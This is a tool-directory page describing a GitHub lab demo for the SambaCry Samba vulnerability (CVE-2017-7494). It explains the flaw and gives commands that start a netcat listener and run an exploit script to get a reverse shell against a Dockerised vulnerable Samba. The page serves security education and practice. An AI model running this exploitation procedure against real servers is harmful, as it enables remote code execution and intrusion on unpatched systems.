Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-7494 — SambaCry Explanation and Exploitation Demo | Kitploit
Tools/GitHubGitHub/yonliud/cve-2017-7494
Vulnerability AnalysisExploitationLearning & EducationLabs & Practice
GitHubyonliud/cve-2017-7494

CVE-2017-7494

SambaCry Explanation and Exploitation Demo

View Repository
2323 months agoNot yet reviewed
Share

SambaCry (CVE-2017-7494) Exploit

CVE-2017-7494/SambaCry allows authenticated users to upload a shared library to a writeable folder, and perform execution attack using the upload libraries.

Vulnerability explanation

SambaCry is a path-validation vulnerability in how Samba handles named-pipe requests. Usually those pipes are used to let programs communicate with each other by reading and writing data through a file-like channel.

When Samba receives an unknown pipe name, vulnerable versions may treat it as the name of a dynamically loadable module. Those modules are usually a legitimate .so libraries installed by the administrator.

The vulnerability allows a client to provide an absolute filesystem path instead of a normal module or pipe name. Samba does not properly restrict this path and may effectively perform: dlopen("/data/example.so", ...);.

Loading a shared library executes its initialization code. Therefore, an attacker who can upload a malicious .so file to a writable location can then make the Samba service load it, resulting in remote code execution.

Demo

https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010

Usage

  1. Initialize a listener:
nc -lvnp 4444
  1. Execute the complete process
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so

To trigger an already uploaded payload:

python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
  1. In the listener's terminal. A shell should appear.

Lab Environment

Using the pre-made docker-compose.yml to initialize the vulnerable lab.

docker compose up -d

The lab uses Samba 4.5.9. Which is vulnerable by the vulnerability

Affected versions

3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools →